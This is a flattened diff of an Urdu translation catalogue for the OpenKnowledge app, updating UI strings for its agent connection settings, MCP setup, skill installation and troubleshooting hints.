src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI، {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> کوئی معلوم جزو نہیں ہے۔ اسے کہmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> رینڈر نہیں ہو سکا (غالباً کوئی غلط پراپ)۔ خرابی دیکھنے کے لیے سورس کاپی کریں، یا بلاک حذف کر دیں۔"-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> اور <1>~/.ok/env.sh</1> دونوں صورتوں میں رہتے ہیں — ایپ ہمیشہ ان کی دیکھ بھال کرتی ہے۔"-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>مرر — ایک ماخذ منتخب کریں۔</0> خصوصیات کے پینل سے <1>src</1> + <2>anchor</2> مقرر کریں تاکہ کہیں اور موجود <3><MirrorSource></3> کی طرف اشارہ ہو۔"@@ -1493,6 +1544,14 @@ msgstr "{keyName} میں آئٹم شامل کریں"msgid "Add link"msgstr "لنک شامل کریں"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "MCP اور اسکل شامل کریں"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "{rowLabel} کے لیے MCP اور اسکل شامل کریں"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "تلاش میں معنی پر مبنی درجہ بندی شامل کریں تاکہ تصوراتی طور پر متعلقہ صفحات اس وقت بھی سامنے آئیں جب ان میں کوئی مشترک کلیدی الفاظ نہ ہوں۔"@@ -1531,10 +1590,9 @@ msgstr "ٹیب شامل کریں"msgid "Add tag"msgstr "ٹیگ شامل کریں"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "اپنے ٹرمینل میں <0>ok</0> کمانڈ شامل کریں"@@ -1568,16 +1626,15 @@ msgstr "اس پیغام میں اپنے تبصرے شامل کریں"msgid "Added"msgstr "شامل کر دیا گیا"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "اس ایجنٹ کے لیے ایک عالمی OpenKnowledge MCP اندراج شامل کرتا ہے۔"+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "منظم بلاک شامل کرتا ہے اِس میں"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "{0} میں منظم بلاک شامل کرتا ہے"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "<0>{toolList}</0> میں OpenKnowledge کا MCP اندراج اور پرmsgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "<0>{connectToolList}</0> میں OpenKnowledge کا MCP اندراج شامل کرتا ہے تاکہ آپ کے ایجنٹس آپ کی فائلیں پڑھ اور ترمیم کر سکیں۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "اس پروجیکٹ کی ایجنٹ کنفیگریشن میں OpenKnowledge MCP کا اندراج شامل کرتا ہے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "{agent} کی اپنی MCP کنفیگ میں OpenKnowledge شامل کرتا ہے، تاکہ اس مشین کے ہر پروجیکٹ تک رسائی ہو۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "اس پروجیکٹ میں {agent} جو MCP کنفیگ پڑھتا ہے اس میں OpenKnowledge شامل کرتا ہے، تاکہ وہ یہ دستاویزات پڑھ، تلاش اور ترمیم کر سکے۔"+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "دستیاب ہونے پر ٹیلی میٹری، سرور کی حالت اور رن ٹائم معلومات شامل کرتا ہے۔ اسناد ہمیشہ ہٹا دی جاتی ہیں؛ دستاویزات کے نام، اگر شامل ہوں، سادہ متن میں ظاہر ہوتے ہیں (چھپائے نہیں جاتے)۔"@@ -1640,6 +1711,11 @@ msgstr "ایجنٹ چیٹس"msgid "Agent configuration file"msgstr "ایجنٹ کی کنفیگریشن فائل"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "ایجنٹ کنکشنز"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "ایجنٹ موڈ"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "ایجنٹ کا ٹرانسکرپٹ"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "ایجنٹس"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI ٹولز کا انتظام صرف OpenKnowledge ڈیسک ٹاپ ایپ میں دستیاب ہے۔"--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI ٹولز"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI ٹولز اور CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "درمیان میں ترتیب دیں"@@ -2397,14 +2464,6 @@ msgstr "کال آؤٹ اہم معلومات کی طرف توجہ دلاتے ہیmsgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "پروجیکٹس ایک دوسرے کے اندر نہیں ہو سکتے۔ <0>{rootPath}</0> پر پہلے سے ایک OpenKnowledge پروجیکٹ موجود ہے۔ اس سے باہر کوئی مقام منتخب کریں، یا اس کے بجائے وہی پروجیکٹ کھولیں۔"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "اس پروجیکٹ کی کنفیگ محفوظ طریقے سے ترمیم نہیں کی جا سکتی"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "اس ٹول کی کنفیگ محفوظ طریقے سے ترمیم نہیں کی جا سکتی"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "یہ راستہ شیئر نہیں کیا جا سکتا۔"@@ -2433,6 +2492,7 @@ msgstr "یہ راستہ شیئر نہیں کیا جا سکتا۔"#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "آئیکن منتخب کریں"msgid "Choose what a new tab starts"msgstr "منتخب کریں کہ نیا ٹیب کیا شروع کرے"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "منتخب کریں کہ OpenKnowledge {0} کے لیے کیا سیٹ اپ کرے۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "منتخب کریں کہ OpenKnowledge کیا سیٹ اپ کرے۔"+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "منتخب کریں کہ یہ تبصرے کہاں بھیجے جائیں"@@ -2671,9 +2740,9 @@ msgstr "منتخب کریں کہ یہ پیغام کہاں بھیجنا ہے"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "منتخب کریں کہ اس پروجیکٹ کا OpenKnowledge سیٹ اپ، بشمول اس کے AI ٹول کنکشنز، پروجیکٹ کے ساتھ محفوظ ہو تاکہ ساتھیوں کو بھی مل جائے، یا صرف آپ کے کمپیوٹر پر رہے۔"-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "منتخب کریں کہ ایپ کے ایجنٹ مینیوز میں کون سے ایجنٹ نظر آئیں، جیسے Ask AI، Open with AI اور + نئی چیٹ کا بٹن۔ کسی ایجنٹ کو بند کرنے سے وہ ان سب سے چھپ جائے گا۔"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "منتخب کریں کہ ایپ کے ایجنٹ مینیوز میں کون سے ایجنٹ نظر آئیں، اور انہیں اس طرح ترتیب دیں کہ وہ آپ کی دستاویزات پڑھ اور اپ ڈیٹ کر سکیں۔"#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "کنفیگریشن کے انتباہات"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "جاری رکھنے کے لیے GitHub منسلک کریں۔"msgid "Connect OpenKnowledge to other tools you use."msgstr "OpenKnowledge کو اپنے استعمال کے دیگر ٹولز سے منسلک کریں۔"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "اپنے استعمال کے AI ٹولز کو اسی مخصوص پروجیکٹ سے منسلک کریں۔ یہ فائلیں پروجیکٹ کے فولڈر میں رہتی ہیں، اس لیے جو بھی اسے کھولے اسے وہی سیٹ اپ ملتا ہے۔"-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "اپنے AI ٹولز منسلک کریں"msgid "Connect your AI tools to this project"msgstr "اپنے AI ٹولز کو اس پروجیکٹ سے جوڑیں"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "منسلک"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "کنکشن کی خرابی — دوبارہ کوشش کریں"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "کنکشن ختم ہو گیا — یہ ٹیب کھلا رکھیں، دوبارہ منسلک ہونے پر آپ کی ترامیم مطابق ہو جائیں گی"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "اگلی بار جب آپ یہ پروجیکٹ کسی قابلِ اعتماد Codex سیشن میں کھولیں گے تو یہ خودکار طور پر منسلک ہو جائے گا۔"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "اگلی بار جب آپ یہ پروجیکٹ کسی قابلِ اعتماد {agent} سیشن میں کھولیں گے تو یہ خودکار طور پر منسلک ہو جائے گا۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "ایجنٹ کو اس مشین کے ہر پروجیکٹ میں OpenKnowledge سے جوڑتا ہے۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "ایجنٹ کو اس پروجیکٹ سے جوڑتا ہے تاکہ وہ آپ کی دستاویزات پڑھ، تلاش اور ترمیم کر سکے۔"#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "وہ تبصرہ شامل نہیں ہو سکا۔"#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "تبدیلی لاگو نہیں ہو سکی: {0}"@@ -3673,6 +3748,10 @@ msgstr "تبدیلی لاگو نہیں ہو سکی: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "{filePath} میں اب بھی کنفلکٹ ہے یا نہیں، جانچا نہ جا سکا — دوبارہ کوشش جاری۔"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "معلوم نہیں ہو سکا کہ کون سے ٹولز منسلک ہیں۔"+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "کلید صاف نہیں ہو سکی — براہِ کرم دوبارہ کوشش کریں۔"@@ -3948,7 +4027,7 @@ msgstr "اشتراکی سرور تک رسائی نہیں ہو سکی — {errorDmsgid "Couldn't reach GitHub. Try again?"msgstr "GitHub تک رسائی نہیں ہو سکی۔ دوبارہ کوشش کریں؟"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "ایجنٹ رجسٹری تک رسائی نہیں ہو سکی۔"@@ -4401,11 +4480,6 @@ msgstr "حسبِ ضرورت اینڈ پوائنٹ"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "براہِ راست پیش منظر کے پین کے ساتھ حسبِ ضرورت HTML (سینڈ باکسڈ iframe)۔"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "حسبِ ضرورت open-knowledge اندراج — OpenKnowledge کے زیرِ انتظام نہیں"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "حسبِ ضرورت مہارت فولڈر کا راستہ"@@ -4776,6 +4850,10 @@ msgstr "منقطع کریں"msgid "Disconnecting"msgstr "منقطع کیا جا رہا ہے"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "دریافتی اسکلز کا انتظام تمام AI ٹولز کے لیے ایک ساتھ کیا جاتا ہے۔ اسے ترتیبات میں مہارت اسٹوڈیو سے انسٹال کریں۔"+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "خالی ابتدائی مواد"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "{0} فعال کریں"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "{displayName} CLI فعال کریں"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "{displayName} Desktop فعال کریں"@@ -5416,11 +5494,6 @@ msgstr "ایک درست URL درج کریں، مثلاً https://notes.example.cmsgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "وہ عوامی اوریجن درج کریں جو آپ کا ٹنل سرو کرتا ہے، مثلاً https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "اندراج"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "خرابی"@@ -5563,7 +5636,7 @@ msgstr "ایکسپوز کرنا ایک مقررہ پورٹ طے کر دیتا ہ#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "بیرونی ایپس"@@ -5947,8 +6020,6 @@ msgstr "فیلڈز"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub، کوئی git URL، یا مقامی راستہ۔"msgid "Give it a name before editing its colors."msgstr "اس کے رنگوں میں ترمیم سے پہلے اسے نام دیں۔"-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "اپنے استعمال کے AI ٹولز کو اپنے پروجیکٹس پڑھنے اور تازہ کرنے کی رسائی دیں۔ خانہ نشان زد کرنا اسے فوراً ترتیب دے دیتا ہے؛ نشان ہٹانا اسے ہٹا دیتا ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "ایجنٹ کو آپ کی دستاویزات کے ساتھ کام کرنے کی ہدایات دیتا ہے اور اس کی ترامیم کا انتساب برقرار رکھتا ہے۔"#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "وہ glob پیٹرنز جن پر یہ اسکیما لاگو ہوتا ہmsgid "Global"msgstr "عالمی"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "گلوبل MCP سرور"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "متن کے فیلڈز سے باہر عالمی"@@ -6509,6 +6584,7 @@ msgstr "مدد"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "اپنے ایجنٹس کو کسی بھی پروجیکٹ میں OpenKnowledge دریافت کرنے اور استعمال کرنے میں مدد دیں۔"@@ -6718,15 +6794,13 @@ msgstr "یہ کمپیوٹر آپ کے ریموٹ سے کتنی بار تبدیلmsgid "How to push manually"msgstr "دستی طور پر پُش کیسے کریں"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "ترتیب کیسے دیں"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "{0} کیسے ترتیب دیں (براؤزر میں کھلتا ہے)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "{rowLabel} کو ترتیب کیسے دیں"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "دونوں میں ایک جیسی ہیں — {pick} پھر بھی انہیں پڑھتا رہے گا۔"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "اگر {agent} میں OpenKnowledge ٹولز نظر نہ آئیں تو جانچیں کہ اس کی ترتیبات میں MCP کنفیگ کا راستہ اس فائل سے میل کھاتا ہے جو OpenKnowledge نے لکھی ہے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "اگر {agent} میں OpenKnowledge ٹولز نظر نہ آئیں تو اسے اس پروجیکٹ میں چلائیں اور OpenKnowledge سرور کو ایک بار منظور کریں۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "اگر {agent} میں OpenKnowledge ٹولز نظر نہ آئیں تو Settings → Tools & MCP میں سرور آن کریں؛ جب تک آپ ایسا نہ کریں، {agent} پروجیکٹ سرورز بند رکھتا ہے۔"+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "اگر آپ جس چیز میں ترمیم کر رہے ہیں اس کی اپ ڈیٹ آ جائے تو آپ خود منتخب کرتے ہیں کہ کون سا ورژن رکھنا ہے، بالکل ضم کے تصادم کی طرح۔"@@ -6888,7 +6977,7 @@ msgstr "انڈیکس دستاویز میں: اندراجات ایک سیکشن#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "ایپ میں"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "CodeMirror کے طے شدہ کی میپ کے ذریعے سورس ایڈیٹر کی سطریں داخل کریں، حذف کریں، منتقل کریں، نقل کریں اور کھسکائیں۔"#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "{0} نصب کریں"msgid "Install {brand} →"msgstr "{brand} نصب کریں ←"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "{rowLabel} نصب کریں"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "پہلے یہاں ایک اسکل انسٹال کریں"@@ -7172,22 +7266,12 @@ msgstr "gh CLI نصب کریں"msgid "Install this skill"msgstr "یہ مہارت نصب کریں"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "نصب شدہ"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "نصب شدہ — ok بیرونی ٹرمینلز میں دستیاب ہے۔ نشان ہٹانے سے یہ ہٹ جاتا ہے؛ OpenKnowledge کا بلٹ اِن ٹرمینل اور AI ٹولز کام کرتے رہتے ہیں۔"--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "نصب شدہ — ok بیرونی ٹرمینلز میں دستیاب ہے۔ نشان ہٹانے سے یہ ہٹ جائے گا؛ آپ کے AI ٹولز کام کرتے رہیں گے۔"-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "آپ کے تمام پروجیکٹس کے لیے نصب ہوگا"msgid "Installs into this project"msgstr "اس پروجیکٹ میں نصب ہوگا"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "اس ایجنٹ کے لیے OpenKnowledge دریافت اسکل انسٹال کرتا ہے۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "اس ایجنٹ کے لیے OpenKnowledge پروجیکٹ اسکل انسٹال کرتا ہے۔"+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "اسکل کو {path} میں انسٹال کرتا ہے — پہلا مقام اس کی اپنی کاپی رکھتا ہے"@@ -7643,7 +7735,7 @@ msgstr "{fileName} لوڈ ہو رہی ہے"msgid "Loading agent activity"msgstr "ایجنٹ کی سرگرمی لوڈ ہو رہی ہے"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "ایجنٹس لوڈ ہو رہے ہیں…"@@ -7866,11 +7958,16 @@ msgstr "listPacks کا جواب بگڑا ہوا ہے"msgid "Malformed plan response"msgstr "پلان کا جواب بگڑا ہوا ہے"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "انتظام کریں"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "{rowLabel} کا انتظام کریں"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "مہارت کے فولڈرز سنبھالیں"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "وہ GitHub اکاؤنٹ سنبھالیں جو OpenKnowledge آپ کی ریپازٹریز براؤز اور مطابق کرنے کے لیے استعمال کرتا ہے۔"-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "اس بلڈ میں AI ٹولز کا انتظام دستیاب نہیں۔"--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "اس بلڈ میں پروجیکٹ کے AI ٹولز کا انتظام دستیاب نہیں۔"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "اس بلڈ میں ایجنٹ کنکشنز کا انتظام دستیاب نہیں ہے۔"#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "زیادہ سے زیادہ ایجنٹس پہلے ہی چل رہے ہیںmsgid "MCP auto-repair failed"msgstr "MCP کی خودکار مرمت ناکام رہی"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP کنکشنز"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures} کے لیے MCP خودکار مرمت ناکام رہی"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "لنک کا ہدف، اینکر اور ظاہری لیبل تبدیل کmsgid "More"msgstr "مزید"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "مزید معلومات"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "مزید درخواستیں روکی گئیں۔"@@ -8537,7 +8632,7 @@ msgstr "ابھی کوئی ایجنٹ ترتیب نہیں دیا گیا — بھmsgid "no agents — saved, not installed anywhere"msgstr "کوئی ایجنٹ نہیں — محفوظ، کہیں نصب نہیں"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "کوئی ایجنٹ دستیاب نہیں۔"@@ -8546,7 +8641,7 @@ msgstr "کوئی ایجنٹ دستیاب نہیں۔"msgid "No agents enabled"msgstr "کوئی ایجنٹ فعال نہیں"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "آپ کی تلاش سے کوئی ایجنٹ مماثل نہیں۔"@@ -8910,11 +9005,12 @@ msgstr "جواب نہیں دیا گیا"msgid "Not attached to desktop bridge"msgstr "ڈیسک ٹاپ برج سے منسلک نہیں"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "اس پلیٹ فارم پر دستیاب نہیں"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "منسلک نہیں"@@ -8922,6 +9018,10 @@ msgstr "منسلک نہیں"msgid "Not connected to GitHub."msgstr "GitHub سے منسلک نہیں۔"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "اس مشین پر شناخت نہیں ہوا"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "زیادہ اچھا نہیں"@@ -8932,7 